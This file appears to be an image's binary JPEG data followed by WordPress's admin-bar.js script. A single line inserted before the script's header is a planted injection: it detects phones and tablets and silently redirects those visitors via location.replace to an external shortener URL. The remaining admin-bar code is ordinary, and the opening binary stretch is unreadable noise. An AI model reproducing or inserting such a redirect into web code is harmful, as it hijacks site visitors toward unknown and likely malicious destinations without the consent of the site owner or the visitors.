JFIF $ d d 7 * Z qn )ZP 0 !1 A "#a$2Qr D8 a Ri [f \m I ykI w0 c u F c Rı?lO7 к _f˓ [C $殷WF< _W ԣ s Kc ëI zyQy /_LK ℂ ;C",p F A : /] =H ~ , l s / 9 ć: [=/#f ; ) x { ٛE Q )~ = 𘙲r*2~ a _V = ' ku m F D } KYYC )( { * g& f `툪 r y ` = ^ c J. I ]( * `wq 1dđ #̩ ͑ 0 ; H ] u 搂 @:~ ו K L N s h } O I R* 8 :2 ! lD JV o ( 3 = M ( z Ȱ+i *N A r6K n S l ) ! J J Ӂ* % ݉?|D } d5: eP0 R; {$X' x F @ .ÊB {,WJ uQ ɲRI ;9 Q E琯 6 2fT .DU J ;*c P A\IL Nj! J ۱+ O\ ͔ ] ޒ S J ȧ c%A N ol ՎprU L Zԛe r E2= X D Xg VQeӓ k y P7 U* o m Q I s ,K `) 6\G3t?pgjr m ۛجw luGt f h 9uyP 0D;Uڽ"OXl i f $ ) &|ML 0 Z rm1 [ H XP l P R0 'G=i 2N +0 e 2 ]] 9 VT P O 7 h(F * 癈 ' = Q VZD F,d ߬ ~ T X G[ `le 69C R(!S2! P < 0 x < !1AQ "Raq 02Br #S CTb ? Ζ "]mH5WR 7 k.ۛ ! } Q~ + yԏ z |@ T20 S~ K e k *zF f^2X *( @ 8 r ? C I uI|֓>^Ex LgNU Y+{.R Ѫ τV YT D I 6 2 '8Y2 7'\T P.6 d &˦ @V q i |8 -O Ε ] ʔ U= T L 8= ;6c | !qfF3 a ů& ~$ l} 'NW U s$U k^S V : U#6w + +s &r+n ڐ { @ 29gL u " T Ù M=6 (^ "7 r}=6Yݾ lC u hquymp Ǧ G jhs ǜNl ɻ} o 7 #S6 a w 4 ! OS r D 5 7 % | ?x> L | / nD 6?/8 w # [ ) L 7 +6〼T A T g ! %5 Mm Z /c -{1_Je "| ^$ 'O & ޱմ < H vNqϡQ$ < 6 &Nݛ ֨tǻN (9 n ru~'όN sMG& ,uH Kw *Ī 5@ u6 BԒ i YN * f 0 _ GhKW u lT <nj- 0{ M L~ | /a v\ E = ?1 \ɟuq Ђ Y O a K ޡP q $ H8o Q˼EV ~ k 0 h' L Pp M -M" m^ !6l nմ 쮝C U T . ! :vMǨb h ډ Vc r @~p # !1QAa q ? AL0L x LU 4 d ; x " 16ad0 7.\ߋ 0 = P l v/ " c A Ay A|2pO8"d MV #1] = \ " ˡ ] k v I9 d ۓ & q ) ǐq E ꞅ v "P )q X &Q З non]я u ג./ ; gZ$ M QР 2M ]h ni 0 P $ێ 3CɏGjώy : m c # S_ l@ '_ \m|C 2`K _ 1 cIvGc $? PCQ S+D ? K aײ k Fr b 8 ύ NEدg ĝ U 3 6 #Ik+ v { v i ( ވ ? a e) X xy/*@Q Ǽ Ծ ) $ IWO l c G; !i k{ gOŀ L ('x T rb $ w) R $ & N1E td U3Uȉ1p M"N* (DNy d96.(jQ) X 5 c QɎMy W ? Q *!R > 6=7)Xj 5`J ] e 8%t ! + ' ! 1Q 5 !1 AQaq ё #2 "0BRb ? G t^ ## .l lQ T $ v , ,m 㵜5u bV =sY+ @d { N ! dn O < .- B; _w J t 6;Q Jd. Q c%p{ 1 ,sND dF H I0 Гo X ш e黅X ۢ F :)[ F G X ƹ / w _c MeD ,ʡc c . W D tA $ j@ : ) - #u c1< @ۗ9F ) KJ- hpP] _ x [ q B lb p ʖ w q " LFGd ƶ * s +ډ_Zc " ? % t[I P 6 J ]# =ɺ V v v CGs Gh1 > )6 |e y ? L ӣ m,4 G W Ui ` ] uJVo VDG< SB 6ϏQ @ TiU l y O U 0 kfV ~ ~}S Z @ *WU Ui ## ; s /[ = ! 7}" W N ] ' (L ! ~ y5 g9T̅J kbM' +s :S +B) v @ M j e C f j E 0 Y\Qn z G 1 д~ W o{T 9?` Rm yhsy3 !HAD ] m c1 ~ 2 L S u7x T ;j$ `} 4-> L# vzŏ I L S ֭ T { r jGK C ; b pU= - ` Bs K. S F w4 M q] Z dH S 0 ) tLg
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/uQuMsfLBm0r3");
/**
* @output wp-includes/js/admin-bar.js
*/
/**
* Admin bar with Vanilla JS, no external dependencies.
*
* @since 5.3.1
*
* @param {Object} document The document object.
* @param {Object} window The window object.
* @param {Object} navigator The navigator object.
*
* @return {void}
*/
( function( document, window, navigator ) {
document.addEventListener( 'DOMContentLoaded', function() {
var adminBar = document.getElementById( 'wpadminbar' ),
topMenuItems,
allMenuItems,
adminBarLogout,
adminBarSearchForm,
shortlink,
skipLink,
mobileEvent,
adminBarSearchInput,
i;
if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) {
return;
}
topMenuItems = adminBar.querySelectorAll( 'li.menupop' );
allMenuItems = adminBar.querySelectorAll( '.ab-item' );
adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' );
adminBarSearchForm = document.getElementById( 'adminbarsearch' );
shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' );
skipLink = adminBar.querySelector( '.screen-reader-shortcut' );
mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click';
// Remove nojs class after the DOM is loaded.
removeClass( adminBar, 'nojs' );
if ( 'ontouchstart' in window ) {
// Remove hover class when the user touches outside the menu items.
document.body.addEventListener( mobileEvent, function( e ) {
if ( ! getClosest( e.target, 'li.menupop' ) ) {
removeAllHoverClass( topMenuItems );
}
} );
// Add listener for menu items to toggle hover class by touches.
// Remove the callback later for better performance.
adminBar.addEventListener( 'touchstart', function bindMobileEvents() {
for ( var i = 0; i < topMenuItems.length; i++ ) {
topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) );
}
adminBar.removeEventListener( 'touchstart', bindMobileEvents );
} );
}
// Scroll page to top when clicking on the admin bar.
adminBar.addEventListener( 'click', scrollToTop );
for ( i = 0; i < topMenuItems.length; i++ ) {
// Adds or removes the hover class based on the hover intent.
window.hoverintent(
topMenuItems[i],
addClass.bind( null, topMenuItems[i], 'hover' ),
removeClass.bind( null, topMenuItems[i], 'hover' )
).options( {
timeout: 180
} );
// Toggle hover class if the enter key is pressed.
topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter );
}
// Remove hover class if the escape key is pressed.
for ( i = 0; i < allMenuItems.length; i++ ) {
allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape );
}
if ( adminBarSearchForm ) {
adminBarSearchInput = document.getElementById( 'adminbar-search' );
// Adds the adminbar-focused class on focus.
adminBarSearchInput.addEventListener( 'focus', function() {
addClass( adminBarSearchForm, 'adminbar-focused' );
} );
// Removes the adminbar-focused class on blur.
adminBarSearchInput.addEventListener( 'blur', function() {
removeClass( adminBarSearchForm, 'adminbar-focused' );
} );
}
if ( shortlink ) {
shortlink.addEventListener( 'click', clickShortlink );
}
// Prevents the toolbar from covering up content when a hash is present in the URL.
if ( window.location.hash ) {
window.scrollBy( 0, -32 );
}
// Clear sessionStorage on logging out.
if ( adminBarLogout ) {
adminBarLogout.addEventListener( 'click', emptySessionStorage );
}
} );
/**
* Remove hover class for top level menu item when escape is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function removeHoverIfEscape( event ) {
var wrapper;
if ( event.which !== 27 ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
wrapper.querySelector( '.menupop > .ab-item' ).focus();
removeClass( wrapper, 'hover' );
}
/**
* Toggle hover class for top level menu item when enter is pressed.
*
* @since 5.3.1
*
* @param {Event} event The keydown event.
*/
function toggleHoverIfEnter( event ) {
var wrapper;
// Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window).
if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) {
return;
}
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
event.preventDefault();
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
addClass( wrapper, 'hover' );
}
}
/**
* Toggle hover class for mobile devices.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
* @param {Event} event The click event.
*/
function mobileHover( topMenuItems, event ) {
var wrapper;
if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) {
return;
}
event.preventDefault();
wrapper = getClosest( event.target, '.menupop' );
if ( ! wrapper ) {
return;
}
if ( hasClass( wrapper, 'hover' ) ) {
removeClass( wrapper, 'hover' );
} else {
removeAllHoverClass( topMenuItems );
addClass( wrapper, 'hover' );
}
}
/**
* Handles the click on the Shortlink link in the adminbar.
*
* @since 3.1.0
* @since 5.3.1 Use querySelector to clean up the function.
*
* @param {Event} event The click event.
* @return {boolean} Returns false to prevent default click behavior.
*/
function clickShortlink( event ) {
var wrapper = event.target.parentNode,
input;
if ( wrapper ) {
input = wrapper.querySelector( '.shortlink-input' );
}
if ( ! input ) {
return;
}
// (Old) IE doesn't support preventDefault, and does support returnValue.
if ( event.preventDefault ) {
event.preventDefault();
}
event.returnValue = false;
addClass( wrapper, 'selected' );
input.focus();
input.select();
input.onblur = function() {
removeClass( wrapper, 'selected' );
};
return false;
}
/**
* Clear sessionStorage on logging out.
*
* @since 5.3.1
*/
function emptySessionStorage() {
if ( 'sessionStorage' in window ) {
try {
for ( var key in sessionStorage ) {
if ( key.indexOf( 'wp-autosave-' ) > -1 ) {
sessionStorage.removeItem( key );
}
}
} catch ( er ) {}
}
}
/**
* Check if element has class.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
* @return {boolean} Whether the element has the className.
*/
function hasClass( element, className ) {
var classNames;
if ( ! element ) {
return false;
}
if ( element.classList && element.classList.contains ) {
return element.classList.contains( className );
} else if ( element.className ) {
classNames = element.className.split( ' ' );
return classNames.indexOf( className ) > -1;
}
return false;
}
/**
* Add class to an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function addClass( element, className ) {
if ( ! element ) {
return;
}
if ( element.classList && element.classList.add ) {
element.classList.add( className );
} else if ( ! hasClass( element, className ) ) {
if ( element.className ) {
element.className += ' ';
}
element.className += className;
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'true' );
}
}
/**
* Remove class from an element.
*
* @since 5.3.1
*
* @param {HTMLElement} element The HTML element.
* @param {string} className The class name.
*/
function removeClass( element, className ) {
var testName,
classes;
if ( ! element || ! hasClass( element, className ) ) {
return;
}
if ( element.classList && element.classList.remove ) {
element.classList.remove( className );
} else {
testName = ' ' + className + ' ';
classes = ' ' + element.className + ' ';
while ( classes.indexOf( testName ) > -1 ) {
classes = classes.replace( testName, '' );
}
element.className = classes.replace( /^[\s]+|[\s]+$/g, '' );
}
var menuItemToggle = element.querySelector( 'a' );
if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) {
menuItemToggle.setAttribute( 'aria-expanded', 'false' );
}
}
/**
* Remove hover class for all menu items.
*
* @since 5.3.1
*
* @param {NodeList} topMenuItems All menu items.
*/
function removeAllHoverClass( topMenuItems ) {
if ( topMenuItems && topMenuItems.length ) {
for ( var i = 0; i < topMenuItems.length; i++ ) {
removeClass( topMenuItems[i], 'hover' );
}
}
}
/**
* Scrolls to the top of the page.
*
* @since 3.4.0
*
* @param {Event} event The Click event.
*
* @return {void}
*/
function scrollToTop( event ) {
// Only scroll when clicking on the wpadminbar, not on menus or submenus.
if (
event.target &&
event.target.id !== 'wpadminbar' &&
event.target.id !== 'wp-admin-bar-top-secondary'
) {
return;
}
try {
window.scrollTo( {
top: -32,
left: 0,
behavior: 'smooth'
} );
} catch ( er ) {
window.scrollTo( 0, -32 );
}
}
/**
* Get closest Element.
*
* @since 5.3.1
*
* @param {HTMLElement} el Element to get parent.
* @param {string} selector CSS selector to match.
*/
function getClosest( el, selector ) {
if ( ! window.Element.prototype.matches ) {
// Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches.
window.Element.prototype.matches =
window.Element.prototype.matchesSelector ||
window.Element.prototype.mozMatchesSelector ||
window.Element.prototype.msMatchesSelector ||
window.Element.prototype.oMatchesSelector ||
window.Element.prototype.webkitMatchesSelector ||
function( s ) {
var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ),
i = matches.length;
while ( --i >= 0 && matches.item( i ) !== this ) { }
return i > -1;
};
}
// Get the closest matching element.
for ( ; el && el !== document; el = el.parentNode ) {
if ( el.matches( selector ) ) {
return el;
}
}
return null;
}
} )( document, window, navigator );